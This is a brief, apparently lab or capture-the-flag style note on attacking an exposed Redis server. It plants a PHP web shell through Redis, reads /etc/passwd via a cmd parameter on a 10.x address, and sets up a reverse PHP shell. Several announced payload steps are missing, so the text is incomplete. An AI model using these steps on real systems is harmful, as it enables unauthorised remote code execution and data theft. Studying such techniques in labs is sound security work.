How to deal with a Redis database?
- Download redis-tools:
sudo apt install redis-tools
- Use the following command to gather info:
info
- Introduce a php RCE:
- Now in Firefox, navigate to
<target-ip>/redis.php
- If it is shown the phpinfo() file, the try to run this to get a shell:
- Now on the web-nav put something like this:
view-source:http://10.10.60.159/redisshell.php?cmd=%20cat%20/etc/passwd
- Now set up a listener and create a simple reverse php shell: